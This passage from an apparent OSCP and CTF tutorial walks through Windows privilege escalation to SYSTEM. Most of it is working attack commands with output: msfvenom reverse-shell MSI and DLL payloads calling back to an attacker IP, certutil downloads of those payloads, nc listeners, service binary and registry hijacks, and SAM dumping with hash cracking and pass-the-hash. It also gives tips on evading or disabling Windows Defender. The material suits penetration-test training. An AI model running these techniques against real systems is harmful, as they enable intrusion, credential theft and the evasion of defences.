C:\&gt; icacls "C:\Program Files\VulnApp\vulnsvc.exe"
C:\Program Files\VulnApp\vulnsvc.exe
  BUILTIN\Users:(I)(F)   ← 🔥 Full control for all users!

# Replace the binary with a reverse shell payload
C:\&gt; copy C:\Temp\shell.exe "C:\Program Files\VulnApp\vulnsvc.exe"
C:\&gt; sc stop VulnSvc
C:\&gt; sc start VulnSvc
</code></pre>
<pre><code class="language-bash"># On Kali — listener catches the SYSTEM shell
kali@attacker:~$ nc -lvnp 4444
connect to [10.10.14.15] from [10.10.10.100] 51234
C:\Windows\system32&gt; whoami
nt authority\system   ← 🏁
</code></pre>
<blockquote>
<p>💡 <strong>TIP — Use</strong> <code>accesschk</code> <strong>from Sysinternals to check service permissions cleanly.</strong> <code>accesschk.exe -uwcqv "Everyone" *</code> shows every service writable by Everyone or Authenticated Users without the noise of <code>icacls</code> on every binary.</p>
</blockquote>
<h3>Misconfiguration 2 — Unquoted Service Paths</h3>
<p>When a service binary path contains spaces and isn't wrapped in quotes, Windows tries each space-delimited segment as a potential executable — in order. You plant a binary at the first writable segment.</p>
<pre><code class="language-cmd">C:\&gt; sc qc "Vulnerable Update Service"
BINARY_PATH_NAME: C:\Program Files\Vulnerable App\Update Service\update.exe
                  ↑ spaces, no quotes — exploitable!

# Windows will try these paths in order:
# C:\Program.exe
# C:\Program Files\Vulnerable.exe         ← if C:\Program Files\ is writable
# C:\Program Files\Vulnerable App\Update.exe   ← if parent dir is writable
# C:\Program Files\Vulnerable App\Update Service\update.exe  ← real binary

# Check which parent directory is writable
C:\&gt; icacls "C:\Program Files\Vulnerable App"
C:\Program Files\Vulnerable App  BUILTIN\Users:(W)   ← writable!

# Drop payload at the first location Windows will try
C:\&gt; copy C:\Temp\shell.exe "C:\Program Files\Vulnerable App\Update.exe"
C:\&gt; sc stop "Vulnerable Update Service"
C:\&gt; sc start "Vulnerable Update Service"
</code></pre>
<pre><code class="language-bash">kali@attacker:~$ nc -lvnp 4444
nt authority\system
</code></pre>
<p>Finding all unquoted paths in one command:</p>
<pre><code class="language-cmd">C:\&gt; wmic service get name,displayname,pathname,startmode | \
  findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
BackupService   Backup Service  C:\Program Files\Backup Agent\Backup Service\agent.exe  Auto
UpdateManager   Update Manager  C:\Custom Apps\Update Manager\Update Manager.exe        Auto
</code></pre>
<p>Any result with spaces in the path and no quotes is a candidate.</p>
<h3>Misconfiguration 3 — Weak Service Registry Permissions</h3>
<p>Windows stores service configurations in the registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. If you can write to a service's registry key, you can change what binary it runs.</p>
<pre><code class="language-cmd">C:\&gt; accesschk.exe -kwsu "Everyone" HKLM\SYSTEM\CurrentControlSet\Services 2&gt;/dev/null
HKLM\SYSTEM\CurrentControlSet\Services\VulnService2
  RW Everyone
       KEY_ALL_ACCESS   ← 🔥 full write access to this service's registry key

C:\&gt; reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnService2 /v ImagePath
ImagePath  REG_SZ  C:\Program Files\VulnApp2\service.exe

# Overwrite ImagePath with our payload
C:\&gt; reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService2 \
  /v ImagePath /t REG_SZ /d "C:\Temp\shell.exe" /f
The operation completed successfully.

C:\&gt; sc stop VulnService2
C:\&gt; sc start VulnService2
</code></pre>
<pre><code class="language-bash">kali@attacker:~$ nc -lvnp 4444
nt authority\system   ← 🏁
</code></pre>
<hr />
<h2>4. Scheduled Task Abuse</h2>
<p>Scheduled tasks are the Windows equivalent of cron jobs — and they carry the same fundamental vulnerability. A task running as SYSTEM that calls a script or binary you can overwrite gives you code execution as SYSTEM.</p>
<h3>Enumerate Scheduled Tasks</h3>
<pre><code class="language-cmd">C:\&gt; schtasks /query /fo LIST /v | findstr /i "task name\|run as user\|task to run\|status"

TaskName:   \Microsoft\Windows\UpdateCheck
Run As User: SYSTEM             ← runs as SYSTEM
Task To Run: C:\Scripts\update_check.ps1
Status:     Ready

TaskName:   \CustomApp\Cleanup
Run As User: SYSTEM
Task To Run: "C:\Program Files\CustomApp\cleanup.bat"
Status:     Ready
</code></pre>
<pre><code class="language-powershell"># PowerShell gives cleaner output
C:\&gt; Get-ScheduledTask | Where-Object {\(_.Principal.RunLevel -eq "Highest" -or \)_.Principal.UserId -eq "SYSTEM"} | Select TaskName,TaskPath,@{n='Action';e={$_.Actions.Execute}}

TaskName     TaskPath           Action
--------     --------           ------
UpdateCheck  \Microsoft\...     C:\Scripts\update_check.ps1
Cleanup      \CustomApp\        C:\Program Files\CustomApp\cleanup.bat
</code></pre>
<h3>Check and Exploit Writable Task Targets</h3>
<pre><code class="language-cmd">C:\&gt; icacls C:\Scripts\update_check.ps1
C:\Scripts\update_check.ps1
  NT AUTHORITY\Authenticated Users:(W)   ← 🔥 writable by any authenticated user

C:\&gt; type C:\Scripts\update_check.ps1
# Update check script
Get-WindowsUpdate -AcceptAll -Install -AutoReboot

# Append our payload — SUID equivalent is adding ourselves to admins
C:\&gt; echo 'net localgroup administrators bob /add' &gt;&gt; C:\Scripts\update_check.ps1
</code></pre>
<p>Wait for the task to fire, or check when it last ran and trigger it manually if you have rights:</p>
<pre><code class="language-cmd">C:\&gt; schtasks /run /tn "\Microsoft\Windows\UpdateCheck"
SUCCESS: Attempted to run the scheduled task "\Microsoft\Windows\UpdateCheck".

C:\&gt; net localgroup administrators
Members:
Administrator
bob   ← 🏁 we're in the admin group
</code></pre>
<blockquote>
<p>💡 <strong>TIP — Check the task's <em>calling script</em>, not just the task binary.</strong> The task itself might call <code>cmd.exe</code> with a static path, but if the script it runs is in a writable directory, you own the task.</p>
</blockquote>
<hr />
<h2>5. Registry-Based Escalation</h2>
<p>The Windows registry holds configuration for almost everything — and two specific keys are notorious privesc paths that appear repeatedly on OSCP and CTF machines.</p>
<h3>AlwaysInstallElevated — The Gift That Keeps Giving</h3>
<p>When both of these registry values are set to <code>1</code>, any user can install <code>.msi</code> packages with SYSTEM privileges. One of the most common misconfigurations you'll encounter.</p>
<pre><code class="language-cmd"># Both keys must be 1 for this to work
C:\&gt; reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
AlwaysInstallElevated    REG_DWORD    0x1   ← ✓

C:\&gt; reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
AlwaysInstallElevated    REG_DWORD    0x1   ← ✓ both set = exploitable!
</code></pre>
<p>Build a malicious MSI on Kali and install it:</p>
<pre><code class="language-bash"># Generate a SYSTEM-executing MSI payload
kali@attacker:~$ msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=10.10.14.15 LPORT=4444 \
  -f msi -o evil.msi

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: evil.msi

kali@attacker:~$ python3 -m http.server 8000
</code></pre>
<pre><code class="language-cmd"># Fetch and install on the victim — triggers SYSTEM shell
C:\&gt; certutil -urlcache -f http://10.10.14.15:8000/evil.msi C:\Temp\evil.msi
C:\&gt; msiexec /quiet /qn /i C:\Temp\evil.msi
</code></pre>
<pre><code class="language-bash">kali@attacker:~$ nc -lvnp 4444
C:\Windows\system32&gt; whoami
nt authority\system   ← 🏁
</code></pre>
<h3>Autorun Registry Keys — Credential or Payload in the Run Key</h3>
<pre><code class="language-cmd"># Check common autorun locations for interesting executables
C:\&gt; reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
BackupAgent  REG_SZ  "C:\Program Files\BackupAgent\agent.exe" --schedule

C:\&gt; reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
OneDriveSync REG_SZ  C:\Users\bob\AppData\Local\Sync\sync.exe

# Check if any autorun binary is writable
C:\&gt; icacls "C:\Program Files\BackupAgent\agent.exe"
C:\Program Files\BackupAgent\agent.exe  BUILTIN\Users:(F)   ← 🔥 full control
</code></pre>
<p>If the binary is writable and the autorun key runs it as a privileged user (SYSTEM or Administrator), replace it and wait for the trigger — either a reboot or the next scheduled start.</p>
<blockquote>
<p>⚠️ <strong>OSCP TRAP — Don't just replace autorun binaries blindly.</strong> Check who they run as first. An autorun running as the current user does nothing for privilege escalation. You need the task/service/key to be elevated for replacement to matter.</p>
</blockquote>
<hr />
<h2>6. Credential Harvesting</h2>
<p>On Windows, credentials live in more places than you'd think — and finding one good password often collapses the entire box. This phase runs in parallel with everything else.</p>
<h3>SAM &amp; SYSTEM — Local Password Hashes</h3>
<pre><code class="language-cmd"># Need SYSTEM or Admin rights to grab SAM
C:\&gt; reg save HKLM\SAM C:\Temp\SAM
C:\&gt; reg save HKLM\SYSTEM C:\Temp\SYSTEM
C:\&gt; reg save HKLM\SECURITY C:\Temp\SECURITY
</code></pre>
<pre><code class="language-bash"># Back on Kali — extract hashes
kali@attacker:~$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
  -sam SAM -system SYSTEM -security SECURITY LOCAL

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:e10adc3949ba59abbe56e057f20f883e:::
svc_backup:1002:aad3b435b51404eeaad3b435b51404ee:a87ff679a2f3e71d9181a67b7542122c:::

# Crack or pass-the-hash
kali@attacker:~$ hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
e10adc3949ba59abbe56e057f20f883e:123456     ← bob's password

kali@attacker:~$ crackmapexec smb 10.10.10.100 -u Administrator \
  -H 8846f7eaee8fb117ad06bdd830b7586c
SMB  10.10.10.100  [+] Administrator:8846f7... (Pwn3d!)   ← hash works
</code></pre>
<h3>Credential Files — The Password Graveyard</h3>
<pre><code class="language-cmd"># Unattended Windows setup files — often contain Administrator passwords
C:\&gt; type C:\Windows\Panther\Unattend.xml
C:\&gt; type C:\Windows\Panther\Unattend\Unattended.xml
C:\&gt; type C:\Windows\sysprep\sysprep.xml

# Example find:
&lt;LocalAccounts&gt;
  &lt;LocalAccount&gt;
    &lt;Password&gt;
      &lt;Value&gt;QWRtaW5AMTIzNDU2&lt;/Value&gt;   ← base64 encoded password
      &lt;PlainText&gt;false&lt;/PlainText&gt;
    &lt;/Password&gt;
    &lt;Name&gt;Administrator&lt;/Name&gt;
  &lt;/LocalAccount&gt;
&lt;/LocalAccounts&gt;

kali@attacker:~$ echo "QWRtaW5AMTIzNDU2" | base64 -d
Admin@123456   ← 🔑 Administrator password
</code></pre>
<h3>Windows Credential Manager &amp; PowerShell History</h3>
<pre><code class="language-cmd"># Credential Manager — saved passwords for web, network shares, apps
C:\&gt; cmdkey /list
Currently stored credentials:
    Target: Domain:target=CORP.LOCAL
    Type: Domain Password
    User: CORP\svc_backup

# Use stored credential without knowing the password
C:\&gt; runas /savecred /user:CORP\svc_backup "cmd /c whoami &gt; C:\Temp\whoami.txt"

# PowerShell history — commands typed by any user
C:\&gt; type C:\Users\bob\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Get-ADUser -Filter * -Properties *
net use Z: \\dc01\share /user:CORP\admin C0rp@dmin2023!   ← 🔑 domain password
$cred = Get-Credential   # already ran this interactively, but...
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock {whoami}
</code></pre>
<h3>Plaintext Credentials in Config Files</h3>
<pre><code class="language-powershell"># Recursive grep for passwords across the filesystem
C:\&gt; findstr /si "password\|passwd\|pwd\|secret\|connectionstring" \
  C:\*.xml C:\*.ini C:\*.conf C:\*.txt C:\*.config 2&gt;nul

C:\inetpub\wwwroot\web.config:    &lt;add name="db" connectionString="...password=Db@dm1n2023!"/&gt;
C:\xampp\htdocs\config.php:       $db_pass = "WebAppP@ss!";
C:\Users\bob\Desktop\passwords.txt: admin:AdminP@ss123

# PowerShell sweep — cleaner output
C:\&gt; Get-ChildItem C:\ -Recurse -Include *.xml,*.ini,*.txt,*.config -ErrorAction SilentlyContinue |
     Select-String -Pattern "password|passwd|pwd|secret" |
     Select-Object Path,LineNumber,Line
</code></pre>
<blockquote>
<p>💡 <strong>TIP — Check every user's Desktop, Documents, and Downloads.</strong> CTF creators love hiding creds in <code>credentials.txt</code>, <code>notes.txt</code>, or <code>backup.zip</code> sitting right there in the open. Always <code>dir /a C:\Users\*\Desktop\*</code> as soon as you land.</p>
</blockquote>
<hr />
<h2>7. Weak File &amp; Folder Permissions</h2>
<p>When files or directories that privileged processes depend on are writable by low-privilege users, you can substitute malicious content. This manifests in several forms.</p>
<h3>Finding World-Writable Files in Privileged Paths</h3>
<pre><code class="language-cmd"># accesschk is the cleanest way to find weak permissions
C:\&gt; accesschk.exe -wusd C:\Program Files -accepteula 2&gt;nul
RW Everyone
    C:\Program Files\CustomApp\logs
RW BUILTIN\Users
    C:\Program Files\BackupTool\config.ini

# Check what process reads that config
C:\&gt; type "C:\Program Files\BackupTool\config.ini"
[Settings]
LogPath=C:\Logs\backup.log
ScriptPath=C:\Scripts\backup_run.ps1   ← it calls this script
AdminEmail=backup@corp.local

# Can we write to that script?
C:\&gt; icacls C:\Scripts\backup_run.ps1
C:\Scripts\backup_run.ps1  NT AUTHORITY\Authenticated Users:(W)   ← 🔥

# Add admin escalation to the script
C:\&gt; echo 'net localgroup administrators bob /add' &gt;&gt; C:\Scripts\backup_run.ps1
</code></pre>
<h3>Writable Path Directories</h3>
<pre><code class="language-cmd">C:\&gt; echo %PATH%
C:\Windows\system32;C:\Windows;C:\Program Files\CustomApp\bin

# Check if any custom PATH dir is writable
C:\&gt; icacls "C:\Program Files\CustomApp\bin"
C:\Program Files\CustomApp\bin  BUILTIN\Users:(W)   ← 🔥

# If a SYSTEM process calls a binary by name without a full path,
# plant ours in this directory first
C:\&gt; copy C:\Temp\shell.exe "C:\Program Files\CustomApp\bin\findstr.exe"
</code></pre>
<hr />
<h2>8. DLL Hijacking</h2>
<p>Windows applications load DLL files at runtime. When an app searches for a DLL that doesn't exist in the expected location and <em>you</em> control an earlier directory in the search order, you can plant a malicious DLL with the right name and get it executed under the app's privileges.</p>
<h3>Finding the Opportunity</h3>
<pre><code class="language-cmd"># Process Monitor (Sysinternals) is the gold standard for finding missing DLLs
# but on an exam machine without GUI access, use this approach:

# Find writable directories in the system PATH
C:\&gt; for %A in ("%path:;=";"%") do @(icacls "%~A" 2&gt;nul | findstr /i "(W)" &amp;&amp; echo %~A)
C:\Program Files\CustomApp\bin: BUILTIN\Users:(W)

# Use Procmon filter: Process Name = [target.exe], Result = NAME NOT FOUND, Path ends with .dll
# or use the PowerShell approach to find missing DLL candidates:
C:\&gt; Get-Process | ForEach-Object {
    \(proc = \)_
    try {
        \(modules = \)proc.Modules | Select-Object -ExpandProperty FileName
    } catch {}
}
</code></pre>
<h3>Building and Planting the Malicious DLL</h3>
<pre><code class="language-bash"># On Kali — create a DLL payload
kali@attacker:~$ msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=10.10.14.15 LPORT=4444 \
  -f dll -o hijack.dll

kali@attacker:~$ python3 -m http.server 8000
</code></pre>
<pre><code class="language-cmd"># On victim — place the DLL where the vulnerable app will find it first
C:\&gt; certutil -urlcache -f http://10.10.14.15:8000/hijack.dll \
  "C:\Program Files\CustomApp\bin\missing.dll"

# Restart the vulnerable service or wait for the app to reload
C:\&gt; sc stop VulnService &amp;&amp; sc start VulnService
</code></pre>
<pre><code class="language-bash">kali@attacker:~$ nc -lvnp 4444
C:\Windows\system32&gt; whoami
nt authority\system   ← 🏁
</code></pre>
<blockquote>
<p>💡 <strong>TIP — DLL hijacking is a patience game.</strong> The payoff is real but setup takes longer than a potato attack. Prioritize it when you've confirmed a service account loads DLLs from a writable path and all the faster vectors are dry.</p>
</blockquote>
<hr />
<h2>9. Automated Enumeration — WinPEAS &amp; Others</h2>
<p>Manual enumeration first. Then automate. The difference between a candidate who passes and one who doesn't is often that the passer <em>understands</em> what the tool found, rather than just running it.</p>
<h3>WinPEAS — The Standard</h3>
<pre><code class="language-cmd"># Transfer WinPEAS to the target
C:\&gt; certutil -urlcache -f http://10.10.14.15:8000/winpeas.exe C:\Temp\winpeas.exe

# Run with full color output
C:\&gt; .\winpeas.exe

# Or target specific checks
C:\&gt; .\winpeas.exe systeminfo userinfo servicesinfo processinfo
</code></pre>
<p>Reading WinPEAS output — same color logic as LinPEAS:</p>
<pre><code class="language-plaintext">╔══════════╣ Checking AlwaysInstallElevated
  AlwaysInstallElevated set to 1 in HKLM!   ← Red = almost certain escalation
  AlwaysInstallElevated set to 1 in HKCU!

╔══════════╣ Services with Weak Permissions
  BackupService - C:\Program Files\BackupAgent\agent.exe
    File Permissions: Everyone [AllAccess]   ← Red = check this immediately

╔══════════╣ Checking for SAM credentials
  SAM file recovered, credentials available  ← Red

╔══════════╣ PowerShell Settings
  PowerShell v2 enabled - no logging         ← Yellow = worth noting
</code></pre>
<h3>PowerUp — Focused Service Checks</h3>
<pre><code class="language-powershell"># PowerUp is fast and focused — great for service/permission checks
C:\&gt; powershell -ep bypass
PS C:\&gt; . .\PowerUp.ps1
PS C:\&gt; Invoke-AllChecks

[*] Checking for unquoted service paths...
[+] Unquoted service path found:
    ServiceName: VulnSvc
    Path: C:\Program Files\Vuln App\Update Service\svc.exe
    ModifiablePath: C:\Program Files\Vuln App\
    StartName: LocalSystem   ← 🔥 exploitable

[*] Checking service permissions...
[+] Modifiable service found:
    ServiceName: BackupService
    Path: C:\Backup\backup.exe
    ModifiableFile: C:\Backup\backup.exe
    StartName: LocalSystem   ← 🔥 exploitable

# PowerUp can auto-exploit too — but understand what it's doing first
PS C:\&gt; Invoke-ServiceAbuse -Name "BackupService" -UserName "bob"
[*] Granting bob local admin privileges...
</code></pre>
<h3>Transferring Tools — Three Methods</h3>
<pre><code class="language-bash"># Method 1: Python HTTP server (standard)
kali@attacker:~$ python3 -m http.server 8000

# Fetch from victim
C:\&gt; certutil -urlcache -f http://10.10.14.15:8000/winpeas.exe C:\Temp\winpeas.exe
C:\&gt; powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.15:8000/winpeas.exe','C:\Temp\winpeas.exe')"
C:\&gt; curl http://10.10.14.15:8000/winpeas.exe -o C:\Temp\winpeas.exe

# Method 2: SMB share (when HTTP is blocked)
kali@attacker:~\( impacket-smbserver share \)(pwd) -smb2support
C:\&gt; copy \\10.10.14.15\share\winpeas.exe C:\Temp\winpeas.exe

# Method 3: Base64 (when no outbound allowed, Powershell available)
kali@attacker:~$ base64 -w0 winpeas.exe &gt; winpeas.b64
# Paste on victim:
C:\&gt; powershell "$b64=[System.IO.File]::ReadAllText('C:\Temp\encoded.txt');\
[System.IO.File]::WriteAllBytes('C:\Temp\winpeas.exe',[System.Convert]::FromBase64String($b64))"
</code></pre>
<blockquote>
<p>⚠️ <strong>OSCP TRAP — Windows Defender will kill most unsigned binaries.</strong> If <code>winpeas.exe</code> vanishes after download, Defender ate it. Obfuscate, rename to something benign (<code>svchost32.exe</code> is not subtle but often works), or use the PowerShell version (<code>winpeas.bat</code>) which is harder to detect.</p>
</blockquote>
<hr />
<h2>🧰 The Master Checklist</h2>
<p>Copy this into your notes before every Windows box. Tick items as you go. The ones you're tempted to skip are the ones hiding SYSTEM.</p>
<hr />
<h3>☐ Phase 1 — Situational Awareness</h3>
<p><strong>Identity &amp; Privileges:</strong></p>
<ul>
<li><p>☐ <code>whoami</code> — current user</p>
</li>
<li><p>☐ <code>whoami /priv</code> — <strong>check for SeImpersonatePrivilege or SeAssignPrimaryToken immediately</strong></p>
</li>
<li><p>☐ <code>whoami /all</code> — full token, groups, privileges</p>
</li>
<li><p>☐ <code>whoami /groups</code> — group memberships</p>
</li>
</ul>
<p><strong>System Context:</strong></p>
<ul>
<li><p>☐ <code>systeminfo</code> — OS version, build, patch level, domain</p>
</li>
<li><p>☐ <code>systeminfo | findstr /B /C:"OS" /C:"Hotfix"</code> — kernel + patches</p>
</li>
<li><p>☐ <code>wmic os get caption,version,buildnumber</code> — clean OS info</p>
</li>
</ul>
<p><strong>Network:</strong></p>
<ul>
<li><p>☐ <code>ipconfig /all</code> — <strong>look for extra interfaces (pivot targets)</strong></p>
</li>
<li><p>☐ <code>netstat -ano</code> — open ports, internal listeners</p>
</li>
<li><p>☐ <code>netstat -ano | findstr "127.0.0.1"</code> — localhost-only services</p>
</li>
<li><p>☐ <code>route print</code> — routing table (confirms pivot potential)</p>
</li>
</ul>
<p><strong>Users &amp; Groups:</strong></p>
<ul>
<li><p>☐ <code>net user</code> — all local users</p>
</li>
<li><p>☐ <code>net localgroup administrators</code> — who has local admin</p>
</li>
<li><p>☐ <code>net user &lt;username&gt;</code> — each interesting user's details</p>
</li>
</ul>
<hr />
<h3>☐ Phase 2 — Token Impersonation</h3>
<ul>
<li><p>☐ <code>whoami /priv | findstr /i "impersonate\|assignprimary"</code> — either = SYSTEM</p>
</li>
<li><p>☐ If <strong>SeImpersonatePrivilege</strong> enabled → <code>PrintSpoofer64.exe -i -c cmd</code></p>
</li>
<li><p>☐ If on older Windows → <code>GodPotato.exe -cmd "cmd /c whoami"</code></p>
</li>
<li><p>☐ If Server 2008-2016 → <code>JuicyPotato.exe</code></p>
</li>
<li><p>☐ If <strong>SeAssignPrimaryTokenPrivilege</strong> enabled → <code>SweetPotato.exe</code></p>
</li>
</ul>
<hr />
<h3>☐ Phase 3 — Service Misconfigurations</h3>
<p><strong>Weak Binary Permissions:</strong></p>
<ul>
<li><p>☐ <code>accesschk.exe -uwcqv "Everyone" * 2&gt;nul</code> — services writable by Everyone</p>
</li>
<li><p>☐ <code>accesschk.exe -uwcqv "Authenticated Users" * 2&gt;nul</code></p>
</li>
<li><p>☐ <code>icacls &lt;binary_path&gt;</code> for each SYSTEM service binary</p>
</li>
</ul>
<p><strong>Unquoted Service Paths:</strong></p>
<ul>
<li><p>☐ <code>wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows" | findstr /i /v """</code> — all candidates</p>
</li>
<li><p>☐ For each result with spaces: check parent directory write permissions</p>
</li>
</ul>
<p><strong>Weak Registry Permissions:</strong></p>
<ul>
<li><p>☐ <code>accesschk.exe -kwsu "Everyone" HKLM\SYSTEM\CurrentControlSet\Services</code></p>
</li>
<li><p>☐ <code>accesschk.exe -kwsu "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services</code></p>
</li>
</ul>
<hr />
<h3>☐ Phase 4 — Scheduled Tasks</h3>
<ul>
<li><p>☐ <code>schtasks /query /fo LIST /v | findstr /i "task name\|run as user\|task to run"</code></p>
</li>
<li><p>☐ <code>Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"}</code> (PowerShell)</p>
</li>
<li><p>☐ For each SYSTEM task: <code>icacls &lt;task binary or script&gt;</code> — writable?</p>
</li>
<li><p>☐ Check directory of task script/binary for write permissions</p>
</li>
<li><p>☐ <code>schtasks /run /tn "&lt;taskname&gt;"</code> to force execution if you have rights</p>
</li>
</ul>
<hr />
<h3>☐ Phase 5 — Registry</h3>
<ul>
<li><p>☐ <code>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</code></p>
</li>
<li><p>☐ <code>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</code></p>
<ul>
<li>If <strong>both</strong> = 0x1 → <code>msfvenom -f msi</code> → <code>msiexec /quiet /i evil.msi</code> → SYSTEM</li>
</ul>
</li>
<li><p>☐ <code>reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code></p>
</li>
<li><p>☐ <code>reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code></p>
</li>
<li><p>☐ Check binaries in Run keys: <code>icacls &lt;path&gt;</code> — writable = replace it</p>
</li>
</ul>
<hr />
<h3>☐ Phase 6 — Credential Harvesting</h3>
<p><strong>Hash Extraction (requires Admin/SYSTEM):</strong></p>
<ul>
<li><p>☐ <code>reg save HKLM\SAM C:\Temp\SAM</code> + <code>reg save HKLM\SYSTEM C:\Temp\SYSTEM</code></p>
</li>
<li><p>☐ Exfil and crack: <code>secretsdump.py -sam SAM -system SYSTEM LOCAL</code></p>
</li>
</ul>
<p><strong>Credential Files:</strong></p>
<ul>
<li><p>☐ <code>type C:\Windows\Panther\Unattend.xml</code> — unattended install passwords</p>
</li>
<li><p>☐ <code>type C:\Windows\sysprep\sysprep.xml</code></p>
</li>
<li><p>☐ <code>cmdkey /list</code> — Credential Manager entries</p>
</li>
<li><p>☐ <code>type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code></p>
</li>
<li><p>☐ <code>dir /a C:\Users\*\Desktop\*</code> — creds on desktops</p>
</li>
</ul>
<p><strong>Config File Search:</strong></p>
<ul>
<li><p>☐ <code>findstr /si "password\|passwd\|pwd\|secret" C:\*.xml C:\*.ini C:\*.conf C:\*.config</code></p>
</li>
<li><p>☐ <code>findstr /si "connectionString" C:\inetpub\**</code></p>
</li>
</ul>
<hr />
<h3>☐ Phase 7 — File &amp; Folder Permissions</h3>
<ul>
<li><p>☐ <code>accesschk.exe -wusd C:\Program Files -accepteula</code> — writable dirs in Program Files</p>
</li>
<li><p>☐ <code>icacls "C:\Program Files\&lt;interesting app&gt;\"</code> — check each SYSTEM app's dir</p>
</li>
<li><p>☐ Check PATH directories: <code>for %A in ("%path:;=";"%") do icacls "%~A" 2&gt;nul</code></p>
</li>
<li><p>☐ <code>icacls C:\Windows\System32\*.dll | findstr "Everyone\|Users"</code> — writable system DLLs</p>
</li>
</ul>
<hr />
<h3>☐ Phase 8 — DLL Hijacking</h3>
<ul>
<li><p>☐ Use Process Monitor (GUI) or <code>Procmon</code> to find <code>NAME NOT FOUND</code> DLL loads</p>
</li>
<li><p>☐ Cross-reference with writable directories in <code>%PATH%</code></p>
</li>
<li><p>☐ Build DLL payload: <code>msfvenom -f dll -o hijack.dll</code></p>
</li>
<li><p>☐ Plant DLL and restart service</p>
</li>
</ul>
<hr />
<h3>☐ Phase 9 — Automated Tools</h3>
<ul>
<li><p>☐ Transfer WinPEAS: <code>certutil -urlcache -f http://KALI/winpeas.exe C:\Temp\winpeas.exe</code></p>
</li>
<li><p>☐ Run: <code>.\winpeas.exe</code> — read RED output first, then YELLOW</p>
</li>
<li><p>☐ Transfer PowerUp: <code>powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"</code></p>
</li>
<li><p>☐ Kernel exploit suggester: <code>python3 wesng.py --update &amp;&amp; python3 wesng.py sysinfo.txt</code></p>
</li>
</ul>
<hr />
<h3>☐ Proof — Don't Leave Without It</h3>
<ul>
<li><p>☐ <code>whoami &amp;&amp; hostname &amp;&amp; ipconfig &amp;&amp; type C:\Users\Administrator\Desktop\proof.txt</code></p>
</li>
<li><p>☐ Screenshot the above output</p>
</li>
<li><p>☐ Grab <code>C:\Windows\System32\config\SAM</code> (for reporting)</p>
</li>
<li><p>☐ Document the exact exploitation path: vulnerability → steps → evidence → impact</p>
</li>
</ul>
<hr />
<h2>⚡ Tips, Tricks &amp; Hard-Won Lessons</h2>
<p>🥔 <strong>SeImpersonatePrivilege is almost always there.</strong> Any shell you get via IIS, MSSQL, or a Windows service will almost certainly have it. <code>whoami /priv</code> before anything else, every time.</p>
<p>📜 <strong>PowerShell history is a credential goldmine.</strong> Admins type passwords on the command line, and PSReadLine logs every command. The file path is long and easy to forget — add it to your checklist and run it without fail.</p>
<p>🔄 <strong>Re-check permissions after horizontal movement.</strong> Got from <code>bob</code> to <code>alice</code>? Alice might be in a group bob wasn't, see files bob couldn't, or have a stored credential in Credential Manager that bob doesn't. Re-run your permission checks as the new user.</p>
<p>🧰 <strong>Keep a Windows toolkit staged.</strong> WinPEAS, PowerUp, PrintSpoofer, GodPotato, accesschk, chisel, nc64.exe — have them in a directory ready to serve via <code>python3 -m http.server</code>. Transfer time on an exam machine is not the moment to be downloading tools from GitHub.</p>
<p>🛡️ <strong>Defender will eat your tools.</strong> If a file disappears after transfer, Windows Defender flagged it. Solutions in order of effort: rename the binary, use the PowerShell/bat variant, use a custom compiled payload, or disable Defender if you already have admin (<code>Set-MpPreference -DisableRealtimeMonitoring $true</code>).</p>
<p>🔑 <strong>Every password you find gets sprayed everywhere.</strong> Found a password in <code>web.config</code>? Try it for every local user via <code>net use</code>, every service account, RDP, WinRM, and SMB. Windows environments have a culture of password reuse that makes a single find cascade into full domain compromise.</p>
<p>🧠 <strong>Understand, don't just execute.</strong> The candidate who types <code>.\PrintSpoofer64.exe -i -c cmd</code> and gets SYSTEM without knowing why it worked will fail the next box where PrintSpoofer doesn't work. Know what each token privilege actually does. Know what unquoted path means at the OS level. That understanding is what converts technique knowledge into methodology.</p>
<hr />
<h2>The Bottom Line</h2>
<p>Windows privilege escalation is not magic. It is a disciplined walk through a defined set of misconfiguration categories — in the right order, with the right tools, documented as you go.</p>
<p>The checklist above has no optional steps. The items you're tempted to skip — UDP scan, credential file search, PSReadLine history, DLL hijacking — are exactly the ones hiding SYSTEM on the boxes that break people.</p>
<p>Work the checklist. Check <code>whoami /priv</code> first. Read your WinPEAS output carefully. Spray every credential. And when that shell finally says <code>nt authority\system</code> — screenshot it, grab the proof, then come back and read the next post.</p>
<hr />
<p><em>Part of the OSCP &amp; CTF series:</em></p>
<p><em>Something I missed? A technique that saved your exam? Drop it in the comments this post gets sharper every time someone reads it.</em></p>
<hr />
